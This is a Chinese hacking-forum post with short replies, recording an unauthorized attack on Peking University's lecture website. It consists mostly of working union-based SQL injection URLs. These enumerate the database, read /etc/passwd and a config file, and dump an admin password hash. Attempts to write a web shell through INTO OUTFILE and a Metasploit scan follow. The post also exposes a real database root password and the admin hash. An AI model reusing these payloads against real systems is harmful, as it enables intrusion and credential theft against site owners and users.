对北大的一次失败检测

http://lecture.pku.edu.cn/
Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8l PHP/5.3.1
124.205.79.236

注入:
http://lecture.pku.edu.cn/viewnotify.php?id=3443
http://lecture.pku.edu.cn/viewnotify.php?id=3443 order by 19
http://lecture.pku.edu.cn/viewnotify.php?id=3443 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
1.png

19个字节

2.png

http://lecture.pku.edu.cn/viewnotify.php?id=3443 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,concat(database(),0x20,version(),0x20,user()),concat(@@hostname,0x20,@@datadir),11,12,13,14,15,16,17,18,19
爆出东西
讲座主标题: pku_mydata 5.0.88-log [email protected]
讲座副标题: database.metc /Volumes/lectureSANroot/mysql_root/

3.png

是ROOT 看看能不能读文件
http://lecture.pku.edu.cn/viewnotify.php?id=3443 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,load_file(0x2F6563742F706173737764),10,11,12,13,14,15,16,17,18,19
4.png

OK可以。。
试试写文件
http://lecture.pku.edu.cn/viewnotify.php?id=3443 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,0x6C756F6D20746573742121,11,12,13,14,15,16,17,18,19 into outfile '/tmp/luom.txt'

5.png
不行 。。。
走后台
http://lecture.pku.edu.cn/viewnotify.php?id=3443 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,group_concat(schema_name),10,11,12,13,14,15,16,17,18,19 from information_schema.schemata--

51.png

http://lecture.pku.edu.cn/viewnotify.php?id=3443 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15,16,17,18,19 from information_schema.tables where table_schema=database()--

6.png

有个 pku_admin
看看有什么
http://lecture.pku.edu.cn/viewnotify.php?id=3443 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,group_concat(column_name),10,11,12,13,14,15,16,17,18,19 from information_schema.columns where table_name=0x706B755F61646D696E--
7.png

你懂得
http://lecture.pku.edu.cn/viewnotify.php?id=3443 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,concat(name,0x20,password),10,11,12,13,14,15,16,17,18,19 from pku_admin

8.png

admin 45192ce0457e57822610fbb0388405d5

没借出来 。。。
找找 路径看能不能into outfile
warning site:lecture.pku.edu.cn
GOOGLE 半天也没找到 用WWWSCAN
9.png

还是没什么有用的
后台:http://lecture.pku.edu.cn/user/login.php
猜目录、、、
过了 30多分钟
/Volumes/lectureSANroot/wwwroot/index.php
10.png
确定目录
http://lecture.pku.edu.cn/viewnotify.php?id=3443 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,test,11,12,13,14,15,16,17,18,19 into outfile '/Volumes/lectureSANroot/wwwroot/inc/test.php'

12.png
还是写不进
读配置文件 连接MYSQL试试
http://lecture.pku.edu.cn/viewnotify.php?id=3443 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,load_file(0x2F566F6C756D65732F6C65637475726553414E726F6F742F777777726F6F742F696E632F636F6E6669672E706870),11,12,13,14,15,16,17,18,19

11.png

$web_datahost="database.metc";

$web_podcast="http://podcast.pku.edu.cn:8171/podcastproducer/attachments";
$web_database="pku_mydata";
$web_datauser="root";


$web_datapassword="podcast-loxp"

外联不上。。

出错、、
没想法了。。。
试试BT

armiyage+msf

13.png

14.png
扫了一些东西出来 但是很鸡肋
试一试
由于BT5在内网中反弹不回来就在本机监听

15.png

还在监听中。。。。。。。

现在还在监听没?!

哦提议下,那些URL能打下*么

监听那个是怎么回事哦。。 {:3_55:}

**回复 2# 落叶 **

OK我下次  。。。

北大的讲座网是拿不下的,很多人都做过教程了。除非有其他好的思路

不好拿呀。。。
~

恩 北大大多数分站都很垃圾

写不进东西 多半是目录不可写哇! 学习到思路了 !

以前看过类似的教程貌似拿不下的